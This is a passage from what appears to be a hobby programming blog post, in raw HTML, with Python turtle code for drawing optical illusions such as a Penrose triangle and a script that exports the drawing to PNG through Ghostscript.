    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(size)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;left(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;120&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(size&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;left(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;120&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(size&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;left(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;60&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(size)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;left(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;120&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(size&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;right(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;120&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;size)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;end_fill()&lt;/span&gt;
    &lt;span style=&quot;color: #75715e;&quot;&gt;#black&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;up()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;goto(p2x,p2y)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;seth(p2a)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;down()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fillcolor(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;black&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;begin_fill()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(size)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;left(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;120&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;size)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;left(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;120&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;size)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;left(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;60&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(size)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;left(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;120&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;size)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;right(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;120&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;size)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;end_fill()&lt;/span&gt;
    &lt;span style=&quot;color: #75715e;&quot;&gt;#white&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;up()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;goto(p3x,p3y)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;seth(p3a)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;down()&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(size)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;left(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;120&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;size)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;left(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;120&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;size)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;left(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;60&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(size)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;left(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;120&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;size)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;right(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;120&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
    &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fd(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;size)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2;&quot;&gt;draw_penrose_triangle(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;80&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;50&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;80&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;


&lt;span style=&quot;color: #75715e;&quot;&gt;### This will create .eps file ####&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;tkinter&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;*&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;PIL&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;Image&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;os&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;time&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# keeping eps file name as image&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;eps_file&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;temp.eps&quot;&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# generating eps file&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ts&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;getscreen()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;hideturtle()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ts&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;getcanvas()&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;postscript(file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;eps_file)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# get current python file name as string without &quot;.py&quot;&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;fname&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;os&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;basename(__file__)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;filename&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;fname&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;replace(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;.py&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;.png&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# Converting eps file to jpg | with filename &lt;/span&gt;
&lt;span style=&quot;color: #75715e;&quot;&gt;#im.save(str(filename)+&quot;.jpg&quot;, &quot;JPEG&quot;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# Convert eps to transparent png using ghost script&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;os&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;popen(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;gswin64c -dSAFER -dBATCH -dNOPAUSE -r300 -sDEVICE=pngalpha -dTextAlphaBits=4 -dGraphicsAlphaBits=4 -sOutputFile=&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot; -dEPSCrop temp.eps&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# Merge transparent png on top of given background png&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;sleep(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# Get transparent image file height / width&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;img&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;Image&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;open(filename)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;h,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;w&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;img&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;size&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(h,w)&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;Click on the Turtle Screen To Close&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2;&quot;&gt;ts&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;exitonclick()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;

&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEj9FUUXhLbWHq1I_1znDJVJdfjDSxaRCkP5I8I2E8ocTdw-yzTL-cU7elwDImkGGJFrK4IkveNPXabxrDc_jTIbvEF-NNOmwbVxLZTG1V6v2C5IqsP0zlmZA24nFGmcBbQJXpLx1f_y0bVSmMhSZvGA2XT_YdIYnHaIrAnapVB7r3JZnzvh1Bi7YEuL=s2500&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;
  &lt;img alt=&quot;Optical illusion with Python&quot; border=&quot;0&quot; data-original-height=&quot;2500&quot; data-original-width=&quot;2500&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEj9FUUXhLbWHq1I_1znDJVJdfjDSxaRCkP5I8I2E8ocTdw-yzTL-cU7elwDImkGGJFrK4IkveNPXabxrDc_jTIbvEF-NNOmwbVxLZTG1V6v2C5IqsP0zlmZA24nFGmcBbQJXpLx1f_y0bVSmMhSZvGA2XT_YdIYnHaIrAnapVB7r3JZnzvh1Bi7YEuL=s320&quot; title=&quot;Roller Illusion - #python4fun&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;&lt;br /&gt;

&lt;b&gt;Code for Bulge Illusion - #python4fun&lt;/b&gt;
&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;math&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2;&quot;&gt;screen&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;turtle&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;Screen()&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;screen&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;setup(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;1100&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;screen&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;setworldcoordinates(&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;620&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;550&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;680&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;550&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
